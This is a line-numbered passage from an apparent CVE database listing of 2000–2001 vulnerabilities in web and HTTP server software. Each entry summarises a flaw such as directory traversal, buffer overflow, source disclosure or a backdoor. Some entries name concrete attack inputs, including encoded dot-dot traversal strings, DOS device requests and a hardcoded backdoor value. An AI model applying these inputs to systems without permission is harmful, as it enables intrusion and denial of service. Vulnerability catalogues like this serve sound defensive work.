13877| [CVE-2001-1235] pSlash PHP script 0.7 and earlier allows remote attackers to execute arbitrary code by including files from remote web sites, using an HTTP request that modifies the includedir variable.
13878| [CVE-2001-1234] Bharat Mediratta Gallery PHP script before 1.2.1 allows remote attackers to execute arbitrary code by including files from remote web sites via an HTTP request that modifies the includedir variable.
13879| [CVE-2001-1232] GroupWise WebAccess 5.5 with directory indexing enabled allows a remote attacker to view arbitrary directory contents via an HTTP request with a lowercase "get".
13880| [CVE-2001-1222] Plesk Server Administrator (PSA) 1.0 allows remote attackers to obtain PHP source code via an HTTP request containing the target's IP address and a valid account name for the domain.
13881| [CVE-2001-1186] Microsoft IIS 5.0 allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents IIS from timing out the connection.
13882| [CVE-2001-1172] OmniSecure HTTProtect 1.1.1 allows a superuser without omnish privileges to modify a protected file by creating a symbolic link to that file.
13883| [CVE-2001-1144] Directory traversal vulnerability in McAfee ASaP VirusScan agent 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP request.
13884| [CVE-2001-1130] Sdbsearch.cgi in SuSE Linux 6.0-7.2 could allow remote attackers to execute arbitrary commands by uploading a keylist.txt file that contains filenames with shell metacharacters, then causing the file to be searched using a .. in the HTTP referer (from the HTTP_REFERER variable) to point to the directory that contains the keylist.txt file.
13885| [CVE-2001-1090] nss_postgresql 0.6.1 and before allows a remote attacker to execute arbitrary SQL queries by inserting SQL code into an HTTP request.
13886| [CVE-2001-1089] libnss-pgsql in nss-pgsql 0.9.0 and earlier allows remote attackers to execute arbitrary SQL queries by inserting SQL code into an HTTP request.
13887| [CVE-2001-1087] The default configuration of the config.http.tunnel.allow_ports option on NetCache devices is set to +all, which allows remote attackers to connect to arbitrary ports on remote systems behind the device.
13888| [CVE-2001-1083] Icecast 1.3.7, and other versions before 1.3.11 with HTTP server file streaming support enabled allows remote attackers to cause a denial of service (crash) via a URL that ends in . (dot), / (forward slash), or \ (backward slash).
13889| [CVE-2001-1074] Webmin 0.84 and earlier does not properly clear the HTTP_AUTHORIZATION environment variable when the web server is restarted, which makes authentication information available to all CGI programs and allows local users to gain privileges.
13890| [CVE-2001-1067] Buffer overflow in AOLserver 3.0 allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via an HTTP request with a long Authorization header.
13891| [CVE-2001-1064] Cisco 600 series routers running CBOS 2.0.1 through 2.4.2ap allows remote attackers to cause a denial of service via multiple connections to the router on the (1) HTTP or (2) telnet service, which causes the router to become unresponsive and stop forwarding packets.
13892| [CVE-2001-1054] PHPAdsNew PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13893| [CVE-2001-1052] Empris PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13894| [CVE-2001-1051] Dark Hart Portal (darkportal) PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13895| [CVE-2001-1050] CCCSoftware CCC PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13896| [CVE-2001-1049] Phorecast PHP script before 0.40 allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13897| [CVE-2001-1048] AWOL PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13898| [CVE-2001-0995] PHProjekt before 2.4a allows remote attackers to perform actions as other PHProjekt users by modifying the ID number in an HTTP request to PHProjekt CGI programs.
13899| [CVE-2001-0971] Directory traversal vulnerability in ACI 4d webserver allows remote attackers to read arbitrary files via a .. (dot dot) or drive letter (e.g., C:) in an HTTP request.
13900| [CVE-2001-0926] SSIFilter in Allaire JRun 3.1, 3.0 and 2.3.3 allows remote attackers to obtain source code for Java server pages (.jsp) and other files in the web root via an HTTP request for a non-existent SSI page, in which the request's body has an #include statement.
13901| [CVE-2001-0925] The default installation of Apache before 1.3.19 allows remote attackers to list directories instead of the multiview index.html file via an HTTP request for a path that contains many / (slash) characters, which causes the path to be mishandled by (1) mod_negotiation, (2) mod_dir, or (3) mod_autoindex.
13902| [CVE-2001-0904] Internet Explorer 5.5 and 6 with the Q312461 (MS01-055) patch modifies the HTTP_USER_AGENT (UserAgent) information that indicates that the patch has been installed, which could allow remote malicious web sites to more easily identify and exploit vulnerable clients.
13903| [CVE-2001-0902] Microsoft IIS 5.0 allows remote attackers to spoof web log entries via an HTTP request that includes hex-encoded newline or form-feed characters.
13904| [CVE-2001-0893] Acme mini_httpd before 1.16 allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
13905| [CVE-2001-0892] Acme Thttpd Secure Webserver before 2.22, with the chroot option enabled, allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
13906| [CVE-2001-0871] Directory traversal vulnerability in HTTP server for Alchemy Eye and Alchemy Network Monitor allows remote attackers to execute arbitrary commands via an HTTP request containing (1) a .. in versions 2.0 through 2.6.18, or (2) a DOS device name followed by a .. in versions 2.6.19 through 3.0.10.
13907| [CVE-2001-0870] HTTP server in Alchemy Eye and Alchemy Network Monitor 1.9x through 2.6.18 is enabled without authentication by default, which allows remote attackers to obtain network monitoring logs with potentially sensitive information by directly requesting the eye.ini file.
13908| [CVE-2001-0868] Red Hat Stronghold 2.3 to 3.0 allows remote attackers to retrieve system information via an HTTP GET request to (1) stronghold-info or (2) stronghold-status.
13909| [CVE-2001-0852] TUX HTTP server 2.1.0-2 in Red Hat Linux allows remote attackers to cause a denial of service via a long Host: header.
13910| [CVE-2001-0836] Buffer overflow in Oracle9iAS Web Cache 2.0.0.1 allows remote attackers to execute arbitrary code via a long HTTP GET request.
13911| [CVE-2001-0835] Cross-site scripting vulnerability in Webalizer 2.01-06, and possibly other versions, allows remote attackers to inject arbitrary HTML tags by specifying them in (1) search keywords embedded in HTTP referrer information, or (2) host names that are retrieved via a reverse DNS lookup.
13912| [CVE-2001-0821] The default configuration of DCShop 1.002 beta places sensitive files in the cgi-bin directory, which could allow remote attackers to read sensitive data via an HTTP GET request for (1) orders.txt or (2) auth_user_file.txt.
13913| [CVE-2001-0820] Buffer overflows in GazTek ghttpd 1.4 allows a remote attacker to execute arbitrary code via long arguments that are passed to (1) the Log function in util.c, or (2) serveconnection in protocol.c.
13914| [CVE-2001-0815] Buffer overflow in PerlIS.dll in Activestate ActivePerl 5.6.1.629 and earlier allows remote attackers to exute arbitrary code via an HTTP request for a long filename that ends in a .pl extension.
13915| [CVE-2001-0778] OmniHTTPd 2.0.8 and earlier allow remote attackers to obtain source code via a GET request with the URL-encoded symbol for a space (%20).
13916| [CVE-2001-0777] Omnicron OmniHTTPd 2.0.8 allows remote attackers to cause a denial of service (memory exhaustion) via a series of requests for PHP scripts.
13917| [CVE-2001-0761] Buffer overflow in HttpSave.dll in Trend Micro InterScan WebManager 1.2 allows remote attackers to execute arbitrary code via a long value to a certain parameter.
13918| [CVE-2001-0747] Buffer overflow in iPlanet Web Server (iWS) Enterprise Edition 4.1, service packs 3 through 7, allows remote attackers to cause a denial of sevice and possibly execute arbitrary code via a long method name in an HTTP request.
13919| [CVE-2001-0730] split-logfile in Apache 1.3.20 allows remote attackers to overwrite arbitrary files that end in the .log extension via an HTTP request with a / (slash) in the Host: header.
13920| [CVE-2001-0693] WebTrends HTTP Server 3.1c and 3.5 allows a remote attacker to view script source code via a filename followed by an encoded space (%20).
13921| [CVE-2001-0674] Directory traversal vulnerability in RobTex Viking Web server before 1.07-381 allows remote attackers to read arbitrary files via a hexadecimal encoded dot-dot attack (eg. http://www.server.com/%2e%2e/%2e%2e) in an HTTP URL request.
13922| [CVE-2001-0669] Various Intrusion Detection Systems (IDS) including (1) Cisco Secure Intrusion Detection System, (2) Cisco Catalyst 6000 Intrusion Detection System Module, (3) Dragon Sensor 4.x, (4) Snort before 1.8.1, (5) ISS RealSecure Network Sensor 5.x and 6.x before XPU 3.2, and (6) ISS RealSecure Server Sensor 5.5 and 6.0 for Windows, allow remote attackers to evade detection of HTTP attacks via non-standard "%u" Unicode encoding of ASCII characters in the requested URL.
13923| [CVE-2001-0665] Internet Explorer 6 and earlier allows remote attackers to cause certain HTTP requests to be automatically executed and appear to come from the user, which could allow attackers to gain privileges or execute operations within web-based services, aka the "HTTP Request Encoding vulnerability."
13924| [CVE-2001-0649] Personal Web Sharing 1.5.5 allows a remote attacker to cause a denial of service via a long HTTP request.
13925| [CVE-2001-0647] Orange Web Server 2.1, based on GoAhead, allows a remote attacker to perform a denial of service via an HTTP GET request that does not include the HTTP version.
13926| [CVE-2001-0636] Buffer overflows in Raytheon SilentRunner allow remote attackers to (1) cause a denial of service in the collector (cle.exe) component of SilentRunner 2.0 via traffic containing long passwords, or (2) execute arbitrary commands via long HTTP queries in the Knowledge Browser component in SilentRunner 2.0 and 2.0.1. NOTE: It is highly likely that this candidate will be split into multiple candidates.
13927| [CVE-2001-0616] Faust Informatics Freestyle Chat server prior to 4.1 SR3 allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name (e.g., GET /aux HTTP/1.0).
13928| [CVE-2001-0613] Omnicron Technologies OmniHTTPD Professional 2.08 and earlier allows a remote attacker to create a denial of service via a long POST URL request.
13929| [CVE-2001-0606] Vulnerability in iPlanet Web Server 4.X in HP-UX 11.04 (VVOS) with VirtualVault A.04.00 allows a remote attacker to create a denial of service via the HTTPS service.
13930| [CVE-2001-0601] Lotus Domino R5 prior to 5.0.7 allows a remote attacker to create a denial of service via HTTP requests containing certain combinations of UNICODE characters.
13931| [CVE-2001-0600] Lotus Domino R5 prior to 5.0.7 allows a remote attacker to create a denial of service via repeated URL requests with the same HTTP headers, such as (1) Accept, (2) Accept-Charset, (3) Accept-Encoding, (4) Accept-Language, and (5) Content-Type.
13932| [CVE-2001-0590] Apache Software Foundation Tomcat Servlet prior to 3.2.2 allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification (i.e. HTTP/1.0).
13933| [CVE-2001-0558] T. Hauck Jana Webserver 2.01 beta 1 and earlier allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name (i.e. GET /aux HTTP/1.0).
13934| [CVE-2001-0537] HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.
13935| [CVE-2001-0535] Example applications (Exampleapps) in ColdFusion Server 4.x do not properly restrict prevent access from outside the local host's domain, which allows remote attackers to conduct upload, read, or execute files by spoofing the "HTTP Host" (CGI.Host) variable in (1) the "Web Publish" example script, and (2) the "Email" example script.
13936| [CVE-2001-0524] eEye SecureIIS versions 1.0.3 and earlier does not perform length checking on individual HTTP headers, which allows a remote attacker to send arbitrary length strings to IIS, contrary to an advertised feature of SecureIIS versions 1.0.3 and earlier.
13937| [CVE-2001-0493] Small HTTP server 2.03 allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name such as aux.
13938| [CVE-2001-0483] Configuration error in Axent Raptor Firewall 6.5 allows remote attackers to use the firewall as a proxy to access internal web resources when the http.noproxy Rule is not set.
13939| [CVE-2001-0476] Multiple buffer overflows in s.cgi program in Aspseek search engine 1.03 and earlier allow remote attackers to execute arbitrary commands via (1) a long HTTP query string, or (2) a long tmpl parameter.
13940| [CVE-2001-0472] Hursley Software Laboratories Consumer Transaction Framework (HSLCTF) HTTP object allows remote attackers to cause a denial of service (crash) via an extremely long HTTP request.
13941| [CVE-2001-0467] Directory traversal vulnerability in RobTex Viking Web server before 1.07-381 allows remote attackers to read arbitrary files via a \... (modified dot dot) in an HTTP URL request.
13942| [CVE-2001-0460] Websweeper 4.0 does not limit the length of certain HTTP headers, which allows remote attackers to cause a denial of service (memory exhaustion) via an extremely large HTTP Referrer: header.
13943| [CVE-2001-0454] Directory traversal vulnerability in SlimServe HTTPd 1.1a allows remote attackers to read arbitrary files via a ... (modified dot dot) in the HTTP request.
13944| [CVE-2001-0453] Directory traversal vulnerability in BRS WebWeaver HTTP server allows remote attackers to read arbitrary files via a .. (dot dot) attack in the (1) syshelp, (2) sysimages, or (3) scripts directories.
13945| [CVE-2001-0448] Web configuration server in 602Pro LAN SUITE allows remote attackers to cause a denial of service via an HTTP GET HTTP request to the aux directory, and possibly other directories with legacy DOS device names.
13946| [CVE-2001-0447] Web configuration server in 602Pro LAN SUITE allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP request containing "%2e" (dot dot) characters.
13947| [CVE-2001-0433] Buffer overflow in Savant 3.0 web server allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long Host HTTP header.
13948| [CVE-2001-0425] AdLibrary.pm in AdCycle 0.78b allows remote attackers to gain privileges to AdCycle via a malformed Agent: header in the HTTP request, which is inserted into a resulting SQL query that is used to verify login information.
13949| [CVE-2001-0419] Buffer overflow in shared library ndwfn4.so for iPlanet Web Server (iWS) 4.1, when used as a web listener for Oracle application server 4.0.8.2, allows remote attackers to execute arbitrary commands via a long HTTP request that is passed to the application server, such as /jsp/.
13950| [CVE-2001-0404] Directory traversal vulnerability in JavaServer Web Dev Kit (JSWDK) 1.0.1 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request to the WEB-INF directory.
13951| [CVE-2001-0399] Caucho Resin 1.3b1 and earlier allows remote attackers to read source code for Javabean files by inserting a .jsp before the WEB-INF specifier in an HTTP request.
13952| [CVE-2001-0394] Remote manager service in Website Pro 3.0.37 allows remote attackers to cause a denial of service via a series of malformed HTTP requests to the /dyn directory.
13953| [CVE-2001-0391] Xitami 2.5d4 and earlier allows remote attackers to crash the server via an HTTP request to the /aux directory.
13954| [CVE-2001-0386] AnalogX SimpleServer:WWW 1.08 allows remote attackers to cause a denial of service via an HTTP request to the /aux directory.
13955| [CVE-2001-0385] GoAhead webserver 2.1 allows remote attackers to cause a denial of service via an HTTP request to the /aux directory.
13956| [CVE-2001-0374] The HTTP server in Compaq web-enabled management software for (1) Foundation Agents, (2) Survey, (3) Power Manager, (4) Availability Agents, (5) Intelligent Cluster Administrator, and (6) Insight Manager can be used as a generic proxy server, which allows remote attackers to bypass access restrictions via the management port, 2301.
13957| [CVE-2001-0367] Mirabilis ICQ WebFront Plug-in ICQ2000b Build 3278 allows a remote attacker to create a denial of service via HTTP URL requests containing a large number of % characters.
13958| [CVE-2001-0330] Bugzilla 2.10 allows remote attackers to access sensitive information, including the database username and password, via an HTTP request for the globals.pl file, which is normally returned by the web server without being executed.
13959| [CVE-2001-0327] iPlanet Web Server Enterprise Edition 4.1 and earlier allows remote attackers to retrieve sensitive data from memory allocation pools, or cause a denial of service, via a URL-encoded Host: header in the HTTP request, which reveals memory in the Location: header that is returned by the server.
13960| [CVE-2001-0312] IBM WebSphere plugin for Netscape Enterprise server allows remote attackers to read source code for JSP files via an HTTP request that contains a host header that references a host that is not in WebSphere's host aliases list, which will bypass WebSphere processing.
13961| [CVE-2001-0308] UploadServlet in Bajie HTTP JServer 0.78, and possibly other versions before 0.80, allows remote attackers to execute arbitrary commands by calling the servlet to upload a program, then using a ... (modified ..) to access the file that was created for the program.
13962| [CVE-2001-0307] Bajie HTTP JServer 0.78, and other versions before 0.80, allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTP request for a CGI program that does not exist.
13963| [CVE-2001-0306] Directory traversal vulnerability in ITAfrica WEBactive HTTP Server 1.00 allows remote attackers to read arbitrary files via a .. (dot dot) in a URL.
13964| [CVE-2001-0298] Buffer overflow in WebReflex 1.55 HTTPd allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP GET request.
13965| [CVE-2001-0297] Directory traversal vulnerability in Simple Server HTTPd 1.0 (originally Free Java Server) allows remote attackers to read arbitrary files via a .. (dot dot) in the URL.
13966| [CVE-2001-0291] Buffer overflow in post-query sample CGI program allows remote attackers to execute arbitrary commands via an HTTP POST request that contains at least 10001 parameters.
13967| [CVE-2001-0286] Directory traversal vulnerability in A1 HTTP server 1.0a allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request.
13968| [CVE-2001-0285] Buffer overflow in A1 HTTP server 1.0a allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
13969| [CVE-2001-0282] SEDUM 2.1 HTTP server allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
13970| [CVE-2001-0277] Buffer overflow in ext.dll in BadBlue 1.02.07 Personal Edition allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP GET request.
13971| [CVE-2001-0275] Moby Netsuite Web Server 1.02 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP request.
13972| [CVE-2001-0257] Buffer overflow in Easycom/Safecom Print Server Web service, version 404.590 and earlier, allows remote attackers to execute arbitrary commands via (1) a long URL or (2) a long HTTP header field such as "Host:".
13973| [CVE-2001-0252] iPlanet (formerly Netscape) Enterprise Server 4.1 allows remote attackers to cause a denial of service via a long HTTP GET request that contains many "/../" (dot dot) sequences.
13974| [CVE-2001-0228] Directory traversal vulnerability in GoAhead web server 2.1 and earlier allows remote attackers to read arbitrary files via a .. attack in an HTTP GET request.
13975| [CVE-2001-0227] Buffer overflow in BiblioWeb web server 2.0 allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP GET request.
13976| [CVE-2001-0226] Directory traversal vulnerability in BiblioWeb web server 2.0 allows remote attackers tor ead arbitrary files via a .. (dot dot) or ... attack in an HTTP GET request.
13977| [CVE-2001-0223] Buffer overflow in wwwwais allows remote attackers to execute arbitrary commands via a long QUERY_STRING (HTTP GET request).
13978| [CVE-2001-0206] Directory traversal vulnerability in Soft Lite ServerWorx 3.00 allows remote attackers to read arbitrary files by inserting a .. (dot dot) or ... into the requested pathname of an HTTP GET request.
13979| [CVE-2001-0202] Picserver web server allows remote attackers to read arbitrary files via a .. (dot dot) attack in an HTTP GET request.
13980| [CVE-2001-0200] HSWeb 2.0 HTTP server allows remote attackers to obtain the physical path of the server via a request to the /cgi/ directory, which will list the path if directory browsing is enabled.
13981| [CVE-2001-0199] Directory traversal vulnerability in SEDUM HTTP Server 2.0 allows remote attackers to read arbitrary files via a .. (dot dot) attack in the HTTP GET request.
13982| [CVE-2001-0194] Buffer overflow in httpGets function in CUPS 1.1.5 allows remote attackers to execute arbitrary commands via a long input line.
13983| [CVE-2001-0189] Directory traversal vulnerability in LocalWEB2000 HTTP server allows remote attackers to read arbitrary commands via a .. (dot dot) attack in an HTTP GET request.
13984| [CVE-2001-0171] Buffer overflow in SlimServe HTTPd 1.0 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long GET request.
13985| [CVE-2001-0168] Buffer overflow in AT&T WinVNC (Virtual Network Computing) server 3.3.3r7 and earlier allows remote attackers to execute arbitrary commands via a long HTTP GET request when the DebugLevel registry key is greater than 0.
13986| [CVE-2001-0133] The web administration interface for Interscan VirusWall 3.6.x and earlier does not use encryption, which could allow remote attackers to obtain the administrator password to sniff the administrator password via the setpasswd.cgi program or other HTTP GET requests that contain base64 encoded usernames and passwords.
13987| [CVE-2001-0129] Buffer overflow in Tinyproxy HTTP proxy 1.3.3 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long connect request.
13988| [CVE-2001-0114] statsconfig.pl in OmniHTTPd 2.07 allows remote attackers to overwrite arbitrary files via the cgidir parameter.
13989| [CVE-2001-0113] statsconfig.pl in OmniHTTPd 2.07 allows remote attackers to execute arbitrary commands via the mostbrowsers parameter, whose value is used as part of a generated Perl script.
13990| [CVE-2001-0108] PHP Apache module 4.0.4 and earlier allows remote attackers to bypass .htaccess access restrictions via a malformed HTTP request on an unrestricted page that causes PHP to use those access controls on the next page that is requested.
13991| [CVE-2000-1242] The HTTP service in American Power Conversion (APC) PowerChute uses a default username and password, which allows remote attackers to gain system access.
13992| [CVE-2000-1239] The HTTP interface of Tivoli Lightweight Client Framework (LCF) in IBM Tivoli Management Framework 3.7.1 sets http_disable to zero at install time, which allows remote authenticated users to bypass file permissions on Tivoli Endpoint Configuration data files via an unspecified manipulation of log files.
13993| [CVE-2000-1235] The default configurations of (1) the port listener and (2) modplsql in Oracle Internet Application Server (IAS) 3.0.7 and earlier allow remote attackers to view privileged database information via HTTP requests for Database Access Descriptor (DAD) files.
13994| [CVE-2000-1230] Backdoor in auth.php3 in Phorum 3.0.7 allows remote attackers to access restricted web pages via an HTTP request with the PHP_AUTH_USER parameter set to "boogieman".
13995| [CVE-2000-1228] Phorum 3.0.7 allows remote attackers to change the administrator password without authentication via an HTTP request for admin.php3 that sets step, option, confirm and newPssword variables.
13996| [CVE-2000-1224] Caucho Technology Resin 1.2 and possibly earlier allows remote attackers to view JSP source via an HTTP request to a .jsp file with certain characters appended to the file name, such as (1) "..", (2) "%2e..", (3) "%81", (4) "%82", and others.
13997| [CVE-2000-1223] quikstore.cgi in Quikstore Shopping Cart allows remote attackers to execute arbitrary commands via shell metacharacters in the URL portion of an HTTP GET request.
13998| [CVE-2000-1215] The default configuration of Lotus Domino server 5.0.8 includes system information (version, operating system, and build date) in the HTTP headers of replies, which allows remote attackers to obtain sensitive information.
13999| [CVE-2000-1206] Vulnerability in Apache httpd before 1.3.11, when configured for mass virtual hosting using mod_rewrite, or mod_vhost_alias in Apache 1.3.9, allows remote attackers to retrieve arbitrary files.
14000| [CVE-2000-1170] Buffer overflow in Netsnap webcam HTTP server before 1.2.9 allows remote attackers to execute arbitrary commands via a long GET request.
14001| [CVE-2000-1168] IBM HTTP Server 1.3.6 (based on Apache) allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long GET request.
14002| [CVE-2000-1155] RHDaemon in RobinHood 1.1 web server in BeOS r5 pro and earlier allows remote attackers to cause a denial of service via long HTTP request.
14003| [CVE-2000-1154] RHConsole in RobinHood 1.1 web server in BeOS r5 pro and earlier allows remote attackers to cause a denial of service via long HTTP request.
14004| [CVE-2000-1118] 24Link 1.06 web server allows remote attackers to bypass access restrictions by prepending strings such as "/+/" or "/." to the HTTP GET request.
14005| [CVE-2000-1114] Unify ServletExec AS v3.0C allows remote attackers to read source code for JSP pages via an HTTP request that ends with characters such as ".", or "+", or "%20".
14006| [CVE-2000-1100] The default configuration for PostACI webmail system installs the /includes/global.inc configuration file within the web root, which allows remote attackers to read sensitive information such as database usernames and passwords via a direct HTTP GET request.
14007| [CVE-2000-1078] ICQ Web Front HTTPd allows remote attackers to cause a denial of service by requesting a URL that contains a "?" character.
14008| [CVE-2000-1073] csstart program in iCal 2.1 Patch 2 searches for the cshttpd program in the current working directory, which allows local users to gain root privileges by creating a Trojan Horse cshttpd program in a directory and calling csstart from that directory.
14009| [CVE-2000-1050] Allaire JRun 3.0 http servlet server allows remote attackers to directly access the WEB-INF directory via a URL request that contains an extra "/" in the beginning of the request (aka the "extra leading slash").
14010| [CVE-2000-1049] Allaire JRun 3.0 http servlet server allows remote attackers to cause a denial of service via a URL that contains a long string of "." characters.
14011| [CVE-2000-1048] Directory traversal vulnerability in the logfile service of Wingate 4.1 Beta A and earlier allows remote attackers to read arbitrary files via a .. (dot dot) attack via an HTTP GET request that uses encoded characters in the URL.
14012| [CVE-2000-1016] The default configuration of Apache (httpd.conf) on SuSE 6.4 includes an alias for the /usr/doc directory, which allows remote attackers to read package documentation and obtain system configuration information via an HTTP request for the /doc/packages URL.
14013| [CVE-2000-1014] Format string vulnerability in the search97.cgi CGI script in SCO help http server for Unixware 7 allows remote attackers to execute arbitrary commands via format characters in the queryText parameter.
14014| [CVE-2000-0984] The HTTP server in Cisco IOS 12.0 through 12.1 allows local users to cause a denial of service (crash and reload) via a URL containing a "?/" string.
14015| [CVE-2000-0939] Samba Web Administration Tool (SWAT) in Samba 2.0.7 allows remote attackers to cause a denial of service by repeatedly submitting a nonstandard URL in the GET HTTP request and forcing it to restart.
14016| [CVE-2000-0920] Directory traversal vulnerability in BOA web server 0.94.8.2 and earlier allows remote attackers to read arbitrary files via a modified .. (dot dot) attack in the GET HTTP request that uses a "%2E" instead of a "."
14017| [CVE-2000-0908] BrowseGate 2.80 allows remote attackers to cause a denial of service and possibly execute arbitrary commands via long Authorization or Referer MIME headers in the HTTP request.
14018| [CVE-2000-0900] Directory traversal vulnerability in ssi CGI program in thttpd 2.19 and earlier allows remote attackers to read arbitrary files via a "%2e%2e" string, a variation of the .. (dot dot) attack.
14019| [CVE-2000-0899] Small HTTP Server 2.01 allows remote attackers to cause a denial of service by connecting to the server and sending out multiple GET, HEAD, or POST requests and closing the connection before the server responds to the requests.
14020| [CVE-2000-0898] Small HTTP Server 2.01 does not properly process Server Side Includes (SSI) tags that contain null values, which allows local users, and possibly remote attackers, to cause the server to crash by inserting the SSI into an HTML file.
14021| [CVE-2000-0897] Small HTTP Server 2.03 and earlier allows remote attackers to cause a denial of service by repeatedly requesting a URL that references a directory that does not contain an index.html file, which consumes memory that is not released after the request is completed.
14022| [CVE-2000-0895] Buffer overflow in HTTP server on the WatchGuard SOHO firewall allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long GET request.
14023| [CVE-2000-0894] HTTP server on the WatchGuard SOHO firewall does not properly restrict access to administrative functions such as password resets or rebooting, which allows attackers to cause a denial of service or conduct unauthorized activities.
14024| [CVE-2000-0869] The default configuration of Apache 1.3.12 in SuSE Linux 6.4 enables WebDAV, which allows remote attackers to list arbitrary diretories via the PROPFIND HTTP request method.
14025| [CVE-2000-0859] The web configuration server for NTMail V5 and V6 allows remote attackers to cause a denial of service via a series of partial HTTP requests.
14026| [CVE-2000-0842] The search97cgi/vtopic" in the UnixWare 7 scohelphttp webserver allows remote attackers to read arbitrary files via a .. (dot dot) attack.
14027| [CVE-2000-0838] Fastream FUR HTTP server 1.0b allows remote attackers to cause a denial of service via a long GET request.
14028| [CVE-2000-0817] Buffer overflow in the HTTP protocol parser for Microsoft Network Monitor (Netmon) allows remote attackers to execute arbitrary commands via malformed data, aka the "Netmon Protocol Parsing" vulnerability.
14029| [CVE-2000-0812] The administration module in Sun Java web server allows remote attackers to execute arbitrary commands by uploading Java code to the module and invoke the com.sun.server.http.pagecompile.jsp92.JspServlet by requesting a URL that begins with a /servlet/ tag.
14030| [CVE-2000-0791] Trustix installs the httpsd program for Apache-SSL with world-writeable permissions, which allows local users to replace it with a Trojan horse.
14031| [CVE-2000-0778] IIS 5.0 allows remote attackers to obtain source code for .ASP files and other scripts via an HTTP GET request with a "Translate: f" header, aka the "Specialized Header" vulnerability.
14032| [CVE-2000-0776] Mediahouse Statistics Server 5.02x allows remote attackers to execute arbitrary commands via a long HTTP GET request.
14033| [CVE-2000-0775] Buffer overflow in RobTex Viking server earlier than 1.06-370 allows remote attackers to cause a denial of service or execute arbitrary commands via a long HTTP GET request, or long Unless-Modified-Since, If-Range, or If-Modified-Since headers.
14034| [CVE-2000-0774] The sample Java servlet "test" in Bajie HTTP web server 0.30a reveals the real pathname of the web document root.
14035| [CVE-2000-0773] Bajie HTTP web server 0.30a allows remote attackers to read arbitrary files via a URL that contains a "....", a variant of the dot dot directory traversal attack.
14036| [CVE-2000-0766] Buffer overflow in vqSoft vqServer 1.4.49 allows remote attackers to cause a denial of service or possibly gain privileges via a long HTTP GET request.
14037| [CVE-2000-0740] Buffer overflow in strong.exe program in NAI Net Tools PKI server 1.0 before HotFix 3 allows remote attackers to execute arbitrary commands via a long URL in the HTTPS port.
14038| [CVE-2000-0739] Directory traversal vulnerability in strong.exe program in NAI Net Tools PKI server 1.0 before HotFix 3 allows remote attackers to read arbitrary files via a .. (dot dot) attack in an HTTPS request to the enrollment server.
14039| [CVE-2000-0732] Worm HTTP server allows remote attackers to cause a denial of service via a long URL.
14040| [CVE-2000-0731] Directory traversal vulnerability in Worm HTTP server allows remote attackers to read arbitrary files via a .. (dot dot) attack.
14041| [CVE-2000-0720] news.cgi in GWScripts News Publisher does not properly authenticate requests to add an author to the author index, which allows remote attackers to add new authors by directly posting an HTTP request to the new.cgi program with an addAuthor parameter, and setting the Referer to the news.cgi program.
14042| [CVE-2000-0716] WorldClient email client in MDaemon 2.8 includes the session ID in the referer field of an HTTP request when the user clicks on a URL, which allows the visited web site to hijcak the session ID and read the user's email.
14043| [CVE-2000-0697] The administration interface for the dwhttpd web server in Solaris AnswerBook2 allows interface users to remotely execute commands via shell metacharacters.
14044| [CVE-2000-0696] The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts, which allows remote attackers to add user accounts to the interface by directly calling the admin CGI script.
14045| [CVE-2000-0676] Netscape Communicator and Navigator 4.04 through 4.74 allows remote attackers to read arbitrary files by using a Java applet to open a connection to a URL using the "file", "http", "https", and "ftp" protocols, as demonstrated by Brown Orifice.
14046| [CVE-2000-0649] IIS 4.0 allows remote attackers to obtain the internal IP address of the server via an HTTP 1.0 request for a web page which is protected by basic authentication and has no realm defined.
14047| [CVE-2000-0643] Buffer overflow in WebActive HTTP Server 1.00 allows remote attackers to cause a denial of service via a long URL.
14048| [CVE-2000-0642] The default configuration of WebActive HTTP Server 1.00 stores the web access log active.log in the document root, which allows remote attackers to view the logs by directly requesting the page.
14049| [CVE-2000-0593] WinProxy 2.0 and 2.0.1 allows remote attackers to cause a denial of service by sending an HTTP GET request without listing an HTTP version number.
14050| [CVE-2000-0571] LocalWEB HTTP server 1.2.0 allows remote attackers to cause a denial of service via a long GET request.
14051| [CVE-2000-0563] The URLConnection function in MacOS Runtime Java (MRJ) 2.1 and earlier and the Microsoft virtual machine (VM) for MacOS allows a malicious web site operator to connect to arbitrary hosts using a HTTP redirection, in violation of the Java security model.
14052| [CVE-2000-0561] Buffer overflow in WebBBS 1.15 allows remote attackers to execute arbitrary commands via a long HTTP GET request.
